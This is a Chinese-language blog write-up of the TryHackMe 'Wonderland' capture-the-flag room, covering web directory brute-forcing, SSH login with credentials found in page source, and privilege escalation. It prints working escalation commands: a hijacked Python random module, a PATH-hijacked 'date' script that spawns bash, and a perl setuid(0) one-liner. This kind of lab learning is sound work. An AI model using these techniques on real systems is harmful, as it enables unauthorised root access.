TryHackMe-Wonderland

发布于 2022-11-18  536 次阅读


简介

掉进兔子洞,进入仙境。

房间链接

https://tryhackme.com/room/wonderland

问题

挑战开始

首先还是扫了下端口,只开放了22和80

访问网站

没什么发现,开始扫描目录

在访问/r/目录时得到了一些提示

它让继续前进,尝试爆破子目录
找到一个子目录


继续前进,爆破子目录
找到一个子目录

继续前进,爆破子目录
找到一个子目录

继续前进,爆破子目录
找到一个子目录

继续前进,爆破子目录
终于到头了

这里提示要找线索,查看源代码,找到了一个凭证

尝试ssh

成功登陆
这里发现没有权限查看root的flag,需要提权

查看特权命令

这里发现一个py文件
查看了下py文件,发现它调用了random库
定位了下位置

但是我们的权限无法改写

查看下环境变量,发现它是从当前目录开始搜索的

在路径下生成一个random.py文件
填入

import os

os.system("/bin/bash")

指定rabbit执行后用户切换成了rabbit

在rabbit目录下发现一个二进制suid文件

下载到本地反编译看看


本地使用ida打开,f5转化为伪代码

这里可以看到它调用的date函数
那么我们可以更改环境变量

cd /tmp
vim date
chmod 777 /tmp/date
export PATH=/tmp:$PATH
cd /home/rabbit
./teaParty

date文件中填入

#!/bin/sh

bash -i

运行后会切换到hatter用户,并在用户目录下找到了该用户的密码

ssh登陆hatter用户
继续提权


这里看到perl存在suid权限
可以使用capabilities提权
查看了下提权方法

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

成功提权,成功读取root flag

user flag

届ける言葉を今は育ててる
最后更新于 2022-11-18